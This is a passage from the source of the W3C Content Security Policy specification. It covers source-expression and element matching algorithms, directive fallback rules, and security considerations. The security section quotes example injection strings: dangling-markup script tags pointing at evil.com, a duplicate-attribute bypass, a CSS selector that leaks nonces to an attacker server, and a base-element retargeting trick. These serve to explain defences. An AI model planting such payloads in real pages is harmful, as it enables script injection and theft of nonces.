[=list/size=] is 1, and |source list|[0] is an <a>ASCII\n      case-insensitive</a> match for the string \"`'none'`\", return \"`Does Not\n      Match`\".\n\n      Note: An empty source list (that is, a directive without a value: `script-src`,\n      as opposed to `script-src host1`) is equivalent to a source list containing `'none'`,\n      and will not match any URL.\n      \n      Note: The `'none'` keyword has no effect when other source expressions are\n      present. That is, the list « `'none'` » does not match any URL. A list consisting\n      of « `'none'`, `https://example.com` », on the other hand, would match\n      `https://example.com/`.\n\n  4.  <a for=set>For each</a> |expression| of |source list|:\n\n      1.  If [[#match-url-to-source-expression]] returns \"`Matches`\" when\n          executed upon |url|, |expression|, |origin|, and |redirect count|, return\n          \"`Matches`\".\n\n  5.  Return \"`Does Not Match`\".\n\n  <h5 id=\"match-url-to-source-expression\" algorithm dfn export>\n    Does |url| match |expression| in |origin| with |redirect count|?\n  </h5>\n\n  Given a {{URL}} |url|, a <a>source expression</a> |expression|, an\n  <a for=\"/\">origin</a> |origin|, and a number |redirect count|, this algorithm\n  returns \"`Matches`\" if |url| matches |expression|, and \"`Does Not Match`\"\n  otherwise.\n\n  Note: |origin| is the <a for=\"/\">origin</a> of the resource relative to which the\n  |expression| should be resolved. \"`'self'`\", for instance, will have distinct\n  meaning depending on that bit of context.\n\n  1.  If |expression| is the string \"*\", return \"`Matches`\" if one or more of\n      the following conditions is met:\n\n      1. |url|'s <a for=\"url\">scheme</a> is an <a>HTTP(S) scheme</a>.\n\n      2. |url|'s <a for=\"url\">scheme</a> is the same as |origin|'s <a for=\"origin\">scheme</a>.\n\n      Note: This logic means that in order to allow a resource from a non-<a>HTTP(S) scheme</a>,\n      it has to be either explicitly specified (e.g.\n      `default-src * data: custom-scheme-1: custom-scheme-2:`),\n      or the protected resource must be loaded from the same scheme.\n\n  2.  If |expression| matches the <a grammar>`scheme-source`</a> or\n      <a grammar>`host-source`</a> grammar:\n\n      1.  If |expression| has a <a grammar>`scheme-part`</a>, and it does not <a>`scheme-part`\n          match</a> |url|'s <a for=\"url\">scheme</a>, return \"`Does Not Match`\".\n\n      2.  If |expression| matches the <a grammar>`scheme-source`</a> grammar,\n          return \"`Matches`\".\n\n  3.  If |expression| matches the <a grammar>`host-source`</a> grammar:\n\n      1.  If |url|'s {{URL/host}} is null, return \"`Does Not Match`\".\n\n      2.  If |expression| does not have a <a grammar>`scheme-part`</a>, and |origin|'s\n          [=origin/scheme=] does not <a>`scheme-part` match</a> |url|'s <a for=\"url\">scheme</a>,\n          return \"`Does Not Match`\".\n\n          Note: As with <a grammar>`scheme-part`</a> above, we allow schemeless\n          <a grammar>`host-source`</a> expressions to be upgraded from insecure\n          schemes to secure schemes.\n\n      3.  If |expression|'s <a grammar>`host-part`</a> does not <a>`host-part` match</a> |url|'s\n          {{URL/host}}, return \"`Does Not Match`\".\n\n      4.  Let |port-part| be |expression|'s <a grammar>`port-part`</a> if present, and null\n          otherwise.\n\n      5.  If |port-part| does not <a>`port-part` match</a> |url|, return \"`Does Not Match`\".\n\n      6.  If |expression| contains a non-empty <a grammar>`path-part`</a>, and\n          |redirect count| is 0, then:\n\n          1.  Let |path| be the result of running the <a>URL path serializer</a> on |url|.\n\n          2.  If |expression|'s <a grammar>`path-part`</a> does not <a>`path-part` match</a> |path|,\n              return \"`Does Not Match`\".\n\n      7.  Return \"`Matches`\".\n\n  4.  If |expression| is an <a>ASCII case-insensitive</a> match for \"`'self'`\",\n      return \"`Matches`\" if one or more of the following conditions is met:\n\n      1.  |origin| is the same as |url|'s <a for=\"url\">origin</a>\n\n      2.  |origin|'s {{URL/host}} is the same as |url|'s {{URL/host}},\n          |origin|'s {{URL/port}} and |url|'s {{URL/port}} are either the same\n          or the <a>default ports</a> for their respective <a for=\"url\">scheme</a>s, and\n          one or more of the following conditions is met:\n\n          1.  |url|'s <a for=\"url\">scheme</a> is \"`https`\" or \"`wss`\"\n          2.  |origin|'s <a for=\"url\">scheme</a> is \"`http`\" and |url|'s\n              <a for=\"url\">scheme</a> is \"`http`\" or \"`ws`\"\n\n      Note: Like the <a grammar>`scheme-part`</a> logic above, the \"`'self'`\"\n      matching algorithm allows upgrades to secure schemes when it is safe to do\n      so. We limit these upgrades to endpoints running on the default port for a\n      particular scheme or a port that matches the origin of the protected\n      resource, as this seems sufficient to deal with upgrades that can be\n      reasonably expected to succeed.\n\n  5.  Return \"`Does Not Match`\".\n\n  <h5 id=\"match-schemes\" algorithm>\n    `scheme-part` matching\n  </h5>\n\n  An <a>ASCII string</a> <dfn export lt=\"scheme-part match\">`scheme-part` matches</dfn> another\n  <a>ASCII string</a> if a CSP source expression that contained the first as a\n  <a grammar>`scheme-part`</a> could potentially match a URL containing the latter as a\n  [=url/scheme=]. For example, we say that \"http\" <a>`scheme-part` matches</a> \"https\".\n\n  Note: The matching relation is asymmetric. For example, the source expressions `https:` and\n  `https://example.com/` do not match the URL `http://example.com/`. We always allow a\n  secure upgrade from an explicitly insecure expression. `script-src http:` is treated as equivalent\n  to `script-src http: https:`, `script-src http://example.com` to `script-src http://example.com\n  https://example.com`, and `connect-src ws:` to `connect-src ws: wss:`.\n\n  More formally, two <a>ASCII strings</a> |A| and |B| are said to <a>`scheme-part` match</a> if the\n  following algorithm returns \"`Matches`\":\n\n  <ol class=\"algorithm\">\n    1.  If one of the following is true, return \"`Matches`\":\n\n        1.  |A| is an <a>ASCII case-insensitive</a> match for |B|.\n\n        2.  |A| is an <a>ASCII case-insensitive</a> match for \"`http`\", and |B|\n            is an <a>ASCII case-insensitive</a> match for \"`https`\".\n\n        3.  |A| is an <a>ASCII case-insensitive</a> match for \"`ws`\", and |B|\n            is an <a>ASCII case-insensitive</a> match for \"`wss`\", \"`http`\", or\n            \"`https`\".\n\n        4.  |A| is an <a>ASCII case-insensitive</a> match for \"`wss`\", and |B|\n            is an <a>ASCII case-insensitive</a> match for \"`https`\".\n\n    2.  Return \"`Does Not Match`\".\n  </ol>\n\n  <h5 id=\"match-hosts\" algorithm>\n    `host-part` matching\n  </h5>\n\n  An <a>ASCII string</a> <dfn export lt=\"host-part match\">`host-part` matches</dfn> a [=/host=]\n  if a CSP source expression that contained the first as a <a grammar>`host-part`</a> could\n  potentially match the latter. For example, we say that \"www.example.com\" <a>host-part matches</a> \"www.example.com\".\n\n  More formally, <a>ASCII string</a> |pattern| and [=/host=] |host| are said to <a>`host-part` match</a> if the\n  following algorithm returns \"`Matches`\":\n\n  Note: The matching relation is asymmetric. That is, |pattern| matching |host| does not\n  mean that |host| will match |pattern|. For example, `*.example.com` <a>`host-part` matches</a>\n  `www.example.com`, but `www.example.com` does not <a>`host-part` match</a> `*.example.com`.\n  \n  Note: A future version of this specification may allow literal IPv6 and IPv4 addresses,\n  depending on usage and demand. Given the weak security properties of IP addresses in\n  relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.\n\n  <ol class=\"algorithm\">\n    1. If |host| is not a [=domain=], return \"`Does Not Match`\".\n\n    2. If |pattern| is \"`*`\", return \"`Matches`\".\n\n    3.  If |pattern| <a>starts with</a> \"`*.`\":\n\n        1.  Let |remaining| be |pattern| with the leading U+002A (`*`) removed and <a>ASCII lowercased</a>.\n\n        2.  If |host| to <a>ASCII lowercase</a> <a>ends with</a> |remaining|, then return \"`Matches`\".\n\n        3.  Return \"`Does Not Match`\".\n\n    4.  If |pattern| is not an <a>ASCII case-insensitive</a> match for |host|, return\n        \"`Does Not Match`\".\n\n    5.  Return \"`Matches`\".\n  </ol>\n\n  <h5 id=\"match-ports\" algorithm>\n    `port-part` matching\n  </h5>\n\n  An <a>ASCII string</a> or null |input| <dfn export>`port-part` matches</dfn>\n  [=/URL=] |url| if a CSP source expression that contained the first as a <a\n  grammar>`port-part`</a> could potentially match a URL containing the latter's\n  [=url/port=] and [=url/scheme=]. For example, \"80\" <a>`port-part` matches</a>\n  matches http://example.com.\n\n  <ol class=\"algorithm\">\n    1.  Assert: |input| is null, \"*\", or a sequence of one or more <a>ASCII digits</a>.\n\n    2.  If |input| is equal to \"*\", return \"`Matches`\".\n\n    3.  Let |normalizedInput| be null if |input| null; otherwise |input|\n        interpreted as decimal number.\n    \n    4.  If |normalizedInput| equals |url|'s [=url/port=], return \"`Matches`\".\n\n    5.  If |url|'s [=url/port=] is null:\n\n        1.  Let |defaultPort| be the <a>default port</a> for |url|'s [=url/scheme=].\n\n        2.  If |normalizedInput| equals |defaultPort|, return \"`Matches`\".\n\n    6. Return \"`Does Not Match`\".\n  </ol>\n\n  <h5 id=\"match-paths\" algorithm>\n    `path-part` matching\n  </h5>\n\n  An <a>ASCII string</a> |path A| <dfn export lt=\"path-part match\">`path-part` matches</dfn>\n  another <a>ASCII string</a> |path B| if a CSP source expression that contained the first as a\n  <a grammar>`path-part`</a> could potentially match a URL containing the latter as a [=url/path=].\n  For example, we say that \"/subdirectory/\" <a>`path-part` matches</a> \"/subdirectory/file\".\n\n  Note: The matching relation is asymmetric. That is, |path A| matching |path B|\n  does not mean that |path B| will match |path A|.\n\n  <ol class=\"algorithm\">\n    1.  If |path A| is the empty string, return \"`Matches`\".\n\n    2.  If |path A| consists of one character that is equal to the U+002F SOLIDUS\n        character (`/`) and |path B| is the empty string, return \"`Matches`\".\n\n    3.  Let |exact match| be `false` if the final character of |path A| is the U+002F\n        SOLIDUS character (`/`), and `true` otherwise.\n\n    4.  Let |path list A| and |path list B| be the result of\n        <a lt=\"strictly split a string\">strictly splitting</a> |path A| and |path B|\n        respectively on the U+002F SOLIDUS character (`/`).\n\n    5.  If |path list A| has more items than |path list B|, return\n        \"`Does Not Match`\".\n\n    6.  If |exact match| is `true`, and |path list A| does not have the same\n        number of items as |path list B|, return \"`Does Not Match`\".\n\n    7.  If |exact match| is `false`:\n\n        1.  Assert: the final item in |path list A| is the empty string.\n\n        2.  Remove the final item from |path list A|.\n\n    8.  <a for=list>For each</a> |piece A| of |path list A|:\n\n        1.  Let |piece B| be the next item in |path list B|.\n\n        2.  Let |decoded piece A| be the <a for=string lt=percent-decode>percent-decoding</a> of\n            |piece A|.\n\n        3.  Let |decoded piece B| be the <a for=string lt=percent-decode>percent-decoding</a> of\n            |piece B|.\n\n        4.  If |decoded piece A| is not |decoded piece B|, return \"`Does Not Match`\".\n\n    9.  Return \"`Matches`\".\n  </ol>\n\n  <h4 id=\"matching-elements\">Element Matching Algorithms</h4>\n\n  <h5 id=\"is-element-nonceable\" algorithm>\n    Is |element| nonceable?\n  </h5>\n\n  Given an {{Element}} |element|, this algorithm returns \"`Nonceable`\" if\n  a <a grammar>`nonce-source`</a> expression can match the element (as discussed\n  in [[#security-nonce-hijacking]]), and \"`Not Nonceable`\" if such expressions\n  should not be applied.\n\n  1.  If |element| does not have an attribute named \"`nonce`\", return \"`Not\n      Nonceable`\".\n\n  2.  If |element| is a <{script}> element, then <a for=list>for each</a> |attribute| of\n      |element|'s <a for=Element>attribute list</a>:\n\n      1.  If |attribute|'s name contains an <a>ASCII case-insensitive</a> match for\n          \"<code>&lt;script</code>\" or \"<code>&lt;style</code>\", return \"`Not Nonceable`\".\n\n      2.  If |attribute|'s value contains an <a>ASCII case-insensitive</a> match for\n          \"<code>&lt;script</code>\" or \"<code>&lt;style</code>\", return \"`Not Nonceable`\".\n\n  3.  If |element| had a [=duplicate-attribute=] [=parse error=] during tokenization, return\n      \"`Not Nonceable`\".\n\n      ISSUE(whatwg/html#3257): We need some sort of hook in HTML to record this error if we're\n      planning on using it here.\n\n  4.  Return \"`Nonceable`\".\n\n  ISSUE(w3c/webappsec-csp#98): This processing is meant to mitigate the risk\n  of dangling markup attacks that steal the nonce from an existing element\n  in order to load injected script. It is fairly expensive, however, as it\n  requires that we walk through all attributes and their values in order to\n  determine whether the script should execute. Here, we try to minimize the\n  impact by doing this check only for <{script}> elements when a nonce is\n  present, but we should probably consider this algorithm as \"at risk\" until\n  we know its impact.\n\n  <h5 id=\"allow-all-inline\" algorithm>\n    Does a source list allow all inline behavior for |type|?\n  </h5>\n\n  A <a>source list</a>\n  <dfn export for=\"source list\" local-lt=\"allow all inline behavior\">allows all inline behavior</dfn>\n  of a given |type| if it contains the <a grammar>`keyword-source`</a>\n  expression <a grammar>`'unsafe-inline'`</a>, and does not override that\n  expression as described in the following algorithm:\n\n  Given a <a>source list</a> |list| and a string |type|, the following\n  algorithm returns \"`Allows`\" if all inline content of a given |type| is\n  allowed and \"`Does Not Allow`\" otherwise.\n\n  1.  Let |allow all inline| be `false`.\n\n  2.  <a for=set>For each</a> |expression| of |list|:\n\n      1.  If |expression| matches the <a grammar>`nonce-source`</a> or\n          <a grammar>`hash-source`</a> grammar, return \"`Does Not Allow`\".\n\n      2.  If |type| is \"`script`\", \"`script attribute`\" or \"`navigation`\"\n          and |expression| matches the <a grammar>keyword-source</a>\n          \"<a grammar>`'strict-dynamic'`</a>\", return \"`Does Not Allow`\".\n\n          Note: `'strict-dynamic'` only applies to scripts, not other resource\n          types. Usage is explained in more detail in [[#strict-dynamic-usage]].\n\n      3.  If |expression| is an <a>ASCII case-insensitive</a> match for the\n          <a grammar>`keyword-source`</a> \"<a grammar>`'unsafe-inline'`</a>\",\n          set |allow all inline| to `true`.\n\n  3.  If |allow all inline| is `true`, return \"`Allows`\".\n      Otherwise, return \"`Does Not Allow`\".\n\n  <div class=\"example\">\n    <a>Source lists</a> that\n    <a for=\"source list\">allow all inline behavior</a>:\n\n    <pre>\n      'unsafe-inline' http://a.com http://b.com\n      'unsafe-inline'\n    </pre>\n\n    <a>Source lists</a> that do not\n    <a for=\"source list\">allow all inline behavior</a> due to\n    the presence of nonces and/or hashes, or absence of '`unsafe-inline`':\n\n    <pre>\n      'sha512-321cba' 'nonce-abc'\n      http://example.com 'unsafe-inline' 'nonce-abc'\n    </pre>\n\n     <a>Source lists</a> that do not\n     <a for=\"source list\">allow all inline behavior</a> when |type| is\n     '`script`' or '`script attribute`' due to the presence of\n     '`strict-dynamic`', but <a for=\"source list\">allow all inline behavior</a>\n     otherwise:\n\n     <pre>\n      'unsafe-inline' 'strict-dynamic'\n      http://example.com 'strict-dynamic' 'unsafe-inline'\n    </pre>\n  </div>\n\n  <h5 id=\"match-element-to-source-list\" algorithm>\n    Does |element| match source list for |type| and |source|?\n  </h5>\n\n  Given an {{Element}} |element|, a <a>source list</a> |list|, a string\n  |type|, and a string |source|, this algorithm returns \"`Matches`\" or\n  \"`Does Not Match`\".\n\n  Note: Regardless of the encoding of the document, |source| will be converted\n  to `UTF-8` before applying any hashing algorithms.\n\n  1.  If [[#allow-all-inline]] returns \"`Allows`\" given |list| and |type|,\n      return \"`Matches`\".\n\n  2.  If |type| is \"`script`\" or \"`style`\", and [[#is-element-nonceable]]\n      returns \"`Nonceable`\" when executed upon |element|:\n\n      1.  <a for=set>For each</a> |expression| of |list|:\n\n          1.  If |expression| matches the <a grammar>`nonce-source`</a> grammar,\n              and |element| has a <{htmlsvg-global/nonce}> attribute whose value\n              [=string/is=] |expression|'s <a grammar>`base64-value`</a> part,\n              return \"`Matches`\".\n\n      Note: Nonces only apply to inline <{script}> and inline <{style}>, not to\n      attributes of either element or to `javascript:` navigations.\n\n  3.  Let |unsafe-hashes flag| be `false`.\n\n  4.  <a for=set>For each</a> |expression| of |list|:\n\n      1.  If |expression| is an <a>ASCII case-insensitive</a> match for the\n          <a grammar>`keyword-source`</a>\n          \"<a grammar>`'unsafe-hashes'`</a>\",\n          set |unsafe-hashes flag| to `true`. Break out of the loop.\n\n  5.  If |type| is \"`script`\" or \"`style`\", or |unsafe-hashes flag| is\n      `true`:\n\n      1.  Set |source| to the result of executing <a>UTF-8 encode</a>\n          on the result of executing <a for=\"JavaScript string\" data-lt=\"convert\">JavaScript string converting</a>\n          on |source|.\n\n      2.  <a for=set>For each</a> |expression| of |list|:\n\n          1.  If |expression| is the \"<a grammar>`'strict-dynamic'`</a>\" <a grammar>keyword-source</a>:\n\n              1.  If |type| is \"`script`\", and |element| is not [=parser-inserted=], return \"`Matches`\".\n\n          1.  If |expression| matches the <a grammar>`hash-source`</a> grammar:\n\n              1.  Let |algorithm| be null.\n\n              2.  If |expression|'s <a grammar>`hash-algorithm`</a> part is an\n                  <a>ASCII case-insensitive</a> match for \"sha256\", set\n                  |algorithm| to <a>SHA-256</a>.\n\n              3.  If |expression|'s <a grammar>`hash-algorithm`</a> part is an\n                  <a>ASCII case-insensitive</a> match for \"sha384\", set\n                  |algorithm| to <a>SHA-384</a>.\n\n              4.  If |expression|'s <a grammar>`hash-algorithm`</a> part is an\n                  <a>ASCII case-insensitive</a> match for \"sha512\", set\n                  |algorithm| to <a>SHA-512</a>.\n\n              5.  If |algorithm| is not null:\n\n                  1.  Let |actual| be the result of <a>base64 encoding</a> the\n                      result of applying |algorithm| to |source|.\n\n                  2.  Let |expected| be |expression|'s <a grammar>`base64-value`</a> part,\n                      with all '`-`' characters replaced with '`+`', and all '`_`' characters\n                      replaced with '`/`'.\n\n                      Note: This replacement normalizes hashes expressed in [=base64url\n                      encoding=] into [=base64 encoding=] for matching.\n\n                  3.  If |actual| is <a for=\"string\" lt=\"is\">identical to</a>\n                      |expected|, return \"`Matches`\".\n\n      Note: Hashes apply to inline <{script}> and inline <{style}>. If the\n      \"<a grammar>`'unsafe-hashes'`</a>\" source expression is present,\n      they will also apply to event handlers, style attributes and `javascript:`\n      navigations.\n\n  6.  Return \"`Does Not Match`\".\n\n  <h3 id=\"directive-algorithms\">Directive Algorithms</h3>\n\n  <h4 id=\"effective-directive-for-a-request\" algorithm>\n    Get the effective directive for |request|\n  </h4>\n\n  Each <a>fetch directive</a> controls a specific destination of <a for=\"/\">request</a>. Given\n  a <a for=\"/\">request</a> |request|, the following algorithm returns either\n  null or the <a for=\"directive\">name</a> of the request's\n  <dfn for=\"request\" export>effective directive</dfn>:\n\n  1.  If |request|'s [=request/initiator=] is \"`prefetch`\" or \"`prerender`\",\n      return `default-src`.\n\n  2.  Switch on |request|'s <a for=\"request\">destination</a>, and execute\n      the associated steps:\n\n      : the empty string\n      ::\n        1.  Return `connect-src`.\n      : \"`manifest`\"\n      ::\n        1.  Return `manifest-src`.\n      : \"`object`\"\n      : \"`embed`\"\n      ::\n        1.  Return `object-src`.\n      : \"`frame`\"\n      : \"`iframe`\"\n      ::\n        1.  Return `frame-src`.\n\n      : \"`audio`\"\n      : \"`track`\"\n      : \"`video`\"\n      ::\n        1.  Return `media-src`.\n\n\n      : \"`font`\"\n      ::\n        1.  Return `font-src`.\n\n      : \"`image`\"\n      ::\n        1.  Return `img-src`.\n\n      : \"`style`\"\n      ::\n        1.  Return `style-src-elem`.\n\n      : \"`script`\"\n      : \"`xslt`\"\n      : \"`audioworklet`\"\n      : \"`paintworklet`\"\n      ::\n        1. Return `script-src-elem`.\n\n      : \"`serviceworker`\"\n      : \"`sharedworker`\"\n      : \"`worker`\"\n      ::\n        1. Return `worker-src`.\n\n      : \"`json`\"\n      : \"`text`\"\n      : \"`webidentity`\"\n      ::\n        1. Return `connect-src`.\n\n      : \"`report`\"\n      ::\n        1. Return null.\n\n  3.  Return `connect-src`.\n\n  Note: The algorithm returns `connect-src` as a default fallback. This is\n  intended for new fetch destinations that are added and which don't explicitly\n  fall into one of the other categories.\n\n  <h4 id=\"effective-directive-for-inline-check\" algorithm>\n    Get the effective directive for inline checks\n  </h4>\n\n  Given a string |type|, this algorithm returns the <a for=\"directive\">name</a>\n  of the effective directive.\n\n  Note: While the <a for=\"request\">effective directive</a> is only defined for\n  <a for=\"/\">requests</a>, in this algorithm it is used similarly to mean\n  the directive that is most relevant to a particular type of inline check.\n\n  1.  Switch on |type|:\n\n      : \"`script`\"\n      : \"`navigation`\"\n      ::\n        1.  Return `script-src-elem`.\n      : \"`script attribute`\"\n      ::\n        1.  Return `script-src-attr`.\n      : \"`style`\"\n      ::\n        1.  Return `style-src-elem`.\n      : \"`style attribute`\"\n      ::\n        1.  Return `style-src-attr`.\n  2.  Return null.\n\n  <h4 id=\"directive-fallback-list\" algorithm>\n    Get fetch directive fallback list\n  </h4>\n\n  Will return an <a>ordered set</a> of the fallback <a>directives</a> for a specific <a>directive</a>.\n  The returned <a>ordered set</a> is sorted from most relevant to least relevant\n  and it includes the effective directive itself.\n\n  Given a string |directive name|:\n\n  1.  Switch on |directive name|:\n\n      : \"`script-src-elem`\"\n      ::\n        1.  Return `<< \"script-src-elem\", \"script-src\", \"default-src\" >>`.\n\n      : \"`script-src-attr`\"\n      ::\n        1.  Return `<< \"script-src-attr\", \"script-src\", \"default-src\" >>`.\n\n      : \"`style-src-elem`\"\n      ::\n        1.  Return `<< \"style-src-elem\", \"style-src\", \"default-src\" >>`.\n\n      : \"`style-src-attr`\"\n      ::\n        1.  Return `<< \"style-src-attr\", \"style-src\", \"default-src\" >>`.\n\n      : \"`worker-src`\"\n      ::\n        1.  Return `<< \"worker-src\", \"child-src\", \"script-src\", \"default-src\" >>`.\n\n      : \"`connect-src`\"\n      ::\n        1.  Return `<< \"connect-src\", \"default-src\" >>`.\n\n      : \"`manifest-src`\"\n      ::\n        1.  Return `<< \"manifest-src\", \"default-src\" >>`.\n\n      : \"`object-src`\"\n      ::\n        1.  Return `<< \"object-src\", \"default-src\" >>`.\n\n      : \"`frame-src`\"\n      ::\n        1.  Return `<< \"frame-src\", \"child-src\", \"default-src\" >>`.\n\n      : \"`media-src`\"\n      ::\n        1.  Return `<< \"media-src\", \"default-src\" >>`.\n\n      : \"`font-src`\"\n      ::\n        1.  Return `<< \"font-src\", \"default-src\" >>`.\n\n      : \"`img-src`\"\n      ::\n        1.  Return `<< \"img-src\", \"default-src\" >>`.\n\n  2.  Return `<< >>`.\n\n  <h4 id=\"should-directive-execute\" algorithm>\n    Should fetch directive execute\n  </h4>\n\n  This algorithm is used for <a>fetch directives</a> to decide whether a directive\n  should execute or defer to a different directive that is better suited.\n  For example: if the |effective directive name| is `worker-src` (meaning that\n  we are currently checking a worker request), a `default-src` directive\n  should not execute if a `worker-src` or `script-src` directive exists.\n\n  Given a string |effective directive name|, a string |directive name| and\n  a <a for=\"/\">policy</a> |policy|:\n\n  1.  Let |directive fallback list| be the result of executing [[#directive-fallback-list]]\n      on |effective directive name|.\n\n  2.  <a for=set>For each</a> |fallback directive| of |directive fallback list|:\n\n      1.  If |directive name| is |fallback directive|, Return \"`Yes`\".\n\n      2.  If |policy| contains a directive whose <a for=\"directive\">name</a>\n          is |fallback directive|,  Return \"`No`\".\n\n  3.  Return \"`No`\".\n\n</section>\n\n<!-- Big text: Security -->\n<section>\n  <h2 id=\"security-considerations\">Security and Privacy Considerations</h2>\n\n  <h3 id=\"security-nonces\">Nonce Reuse</h3>\n\n  Nonces override the other restrictions present in the directive in which\n  they're delivered. It is critical, then, that they remain unguessable, as\n  bypassing a resource's policy is otherwise trivial.\n\n  If a server delivers a <a grammar>nonce-source</a> expression as part of a\n  <a for=\"/\">policy</a>, the server MUST generate a unique value each time it\n  transmits a policy. The generated value SHOULD be at least 128 bits long\n  (before encoding), and SHOULD be generated via a cryptographically secure\n  random number generator in order to ensure that the value is difficult for\n  an attacker to predict.\n\n  Note: Using a nonce to allow inline script or style is less secure than\n  not using a nonce, as nonces override the restrictions in the directive in\n  which they are present. An attacker who can gain access to the nonce can\n  execute whatever script they like, whenever they like. That said, nonces\n  provide a substantial improvement over <a grammar>'unsafe-inline'</a> when\n  layering a content security policy on top of old code. When considering\n  <a grammar>'unsafe-inline'</a>, authors are encouraged to consider nonces\n  (or hashes) instead.\n\n  <h3 id=\"security-nonce-hijacking\">Nonce Hijacking</h3>\n\n  <h4 id=\"dangling-markup-attacks\">Dangling markup attacks</h4>\n\n  Dangling markup attacks such as those discussed in [[FILEDESCRIPTOR-2015]]\n  can be used to repurpose a page's legitimate nonces for injections. For\n  example, given an injection point before a <{script}> element:\n\n  <pre highlight=\"html\">\n    &lt;p&gt;Hello, [INJECTION POINT]&lt;/p&gt;\n    &lt;script nonce=abc src=/good.js&gt;&lt;/script&gt;\n  </pre>\n\n  If an attacker injects the string \"<code>&lt;script src='https://evil.com/evil.js' </code>\",\n  then the browser will receive the following:\n\n  <pre highlight=\"html\">\n    &lt;p&gt;Hello, &lt;script src='https://evil.com/evil.js' &lt;/p&gt;\n    &lt;script nonce=abc src=/good.js&gt;&lt;/script&gt;\n  </pre>\n\n  It will then parse that code, ending up with a <{script}> element with a\n  `src` attribute pointing to a malicious payload, an attribute named `</p>`,\n  an attribute named \"<code>&lt;script</code>\", a `nonce` attribute, and a\n  second `src` attribute which is helpfully discarded as duplicate by the parser.\n\n  The [[#is-element-nonceable]] algorithm attempts to mitigate this specific\n  attack by walking through <{script}> or <{style}> element attributes, looking for the\n  string \"<code>&lt;script</code>\" or \"<code>&lt;style</code>\" in their names or values.\n\n  User-agents must pay particular attention when implementing this algorithm to\n  not ignore duplicate attributes. If an element has a duplicate attribute any\n  instance of the attribute after the first one is ignored but in the\n  [[#is-element-nonceable]] algorithm, all attributes including the\n  duplicate ones need to be checked.\n\n  ISSUE(whatwg/html#3257): Currently the HTML spec's parsing algorithm removes this information\n  before the [[#is-element-nonceable]] algorithm can be run which makes it\n  impossible to actually detect duplicate attributes.\n\n  For the following example page:\n\n  <pre highlight=\"html\">\n    Hello, [INJECTION POINT]\n    &lt;script nonce=abc src=/good.js&gt;&lt;/script&gt;\n  </pre>\n\n  The following injected string will use a duplicate attribute to attempt to\n  bypass the [[#is-element-nonceable]] algorithm check:\n\n  <pre highlight=\"html\">\n    Hello, &lt;script src='https://evil.com/evil.js' x=\"\" x=\n    &lt;script nonce=\"abcd\" src=/good.js&gt;&lt;/script&gt;\n  </pre>\n\n  <h4 id=\"nonce-exfiltration-content-attributes\">Nonce exfiltration via content attributes</h4>\n\n  Some attacks on CSP rely on the ability to exfiltrate\n  nonce data via various mechanisms that can read content attributes.\n  CSS selectors are the best example: through clever use of\n  prefix/postfix text matching selectors values can be sent out to an\n  attacker's server for reuse. Example:\n\n  <pre highlight=\"css\">\n    script[nonce=a] { background: url(\"https://evil.com/nonce?a\");}\n  </pre>\n\n  The <{htmlsvg-global/nonce}> section talks about mitigating these types\n  of attacks by hiding the nonce from the element's content attribute and\n  moving it into an internal slot. This is done to ensure that the `nonce`\n  value is exposed to scripts but not any other non-script channels.\n\n  <h3 id=\"security-nonce-retargeting\">Nonce Retargeting</h3>\n\n  Nonces bypass <a grammar>host-source</a> expressions, enabling developers to load code from any\n  origin. This, generally, is fine, and desirable from the developer's perspective. However, if an\n  attacker can inject a <{base}> element, then an otherwise safe page can be subverted when relative\n  URLs are resolved. That is, on `https://example.com/` the following code will load\n  `https://example.com/good.js`:\n\n  <pre highlight=\"html\">\n    &lt;script nonce=abc src=/good.js&gt;&lt;/script&gt;\n  </pre>\n\n  However, the following will load `https://evil.com/good.js`:\n\n  <pre highlight=\"html\">\n    &lt;base href=\"https://evil.com\"&gt;\n    &lt;script nonce=abc src=/good.js&gt;&lt;/script&gt;\n  </pre>\n\n  To mitigate this risk, it is advisable to set an explicit <{base}> element on every page, or to\n  limit the ability of an attacker to inject their own <{base}> element by setting a\n  <a>`base-uri`</a> directive in your page's policy. For example, `base-uri 'none'`.\n\n  <h3 id=\"security-css-parsing\">CSS Parsing</h3>\n\n  The <a>style-src</a> directive restricts the locations from which the\n  protected resource can load styles. However, if the user agent uses a lax CSS\n  parsing algorithm, an attacker might be able to trick the user agent into\n  accepting malicious \"stylesheets\" hosted by an otherwise trustworthy origin.\n\n  These attacks are similar to the CSS cross-origin data leakage attack\n  described by Chris Evans in 2009 [[CSS-ABUSE]]. User agents SHOULD defend\n  against both attacks using the same mechanism: stricter CSS parsing rules for\n  style sheets with improper MIME types.\n\n  <h3 id=\"security-violation-reports\">Violation Reports</h3>\n\n  The violation reporting mechanism in this document has been designed to\n  mitigate the risk that a malicious web site could use violation reports to\n  probe the behavior of other servers. For example, consider a malicious web\n  site that allows `https://example.com` as a source of images. If the\n  malicious site attempts to load `https://example.com/login` as an image, and\n  the `example.com` server redirects to an identity provider (e.g.\n  `identityprovider.example.net`), CSP will block the request. If violation\n  reports contained the full blocked URL, the violation report might contain\n  sensitive information contained in the redirected URL, such as session\n  identifiers or purported identities. For this reason, the user agent includes\n  only the URL of the original request, not the redirect target.\n\n  Note also that violation reports should be considered attacker-controlled data. Developers who\n  wish to collect violation reports in a dashboard or similar service should be careful to properly\n  escape their content before rendering it (and should probably themselves use CSP to further\n  mitigate the risk of injection). This is especially true for the \"`script-sample`\" property of\n  violation reports, and the {{SecurityPolicyViolationEvent/sample}} property of\n  {{SecurityPolicyViolationEvent}}, which are both completely attacker-controlled strings.\n\n  <h3 id=\"source-list-paths-and-redirects\">Paths and Redirects</h3>\n\n  To avoid leaking path information cross-origin (as discussed\n  in Egor Homakov's\n  <a href=\"https://homakov.blogspot.de/2014/01/using-content-security-policy-for-evil.html\">Using Content-Security-Policy for Evil</a>),\n  the matching algorithm ignores the path component of a source\n  expression if the resource being loaded is the result of a\n  redirect. For example, given a page with an active policy of\n  <code><a>img-src</a> example.com example.org/path</code>:\n\n  *   Directly loading <code>https://example.org/not-path</code>\n      would fail, as it doesn't match the policy.\n\n  *   Directly loading <code>https://example.com/redirector</code>\n      would pass, as it matches <code>example.com</code>.\n\n  *   Assuming that <code>https://example.com/redirector</code>\n      delivered a redirect response pointing to <code>https://example.org/not-path</code>,\n      the load would succeed, as the initial URL matches <code>example.com</code>,\n      and the redirect target matches <code>example.org/path</code>\n      if we ignore its path component.\n\n  This restriction reduces the granularity of a document's policy when redirects are in play, a\n  necessary compromise to avoid brute-forced information leaks of this type.\n\n  The relatively long thread\n  <a href=\"https://lists.w3.org/Archives/Public/public-webappsec/2014Feb/0036.html\">\"Remove paths from CSP?\"</a>\n  from public-webappsec@w3.org has more detailed discussion around alternate proposals.\n\n  <h3 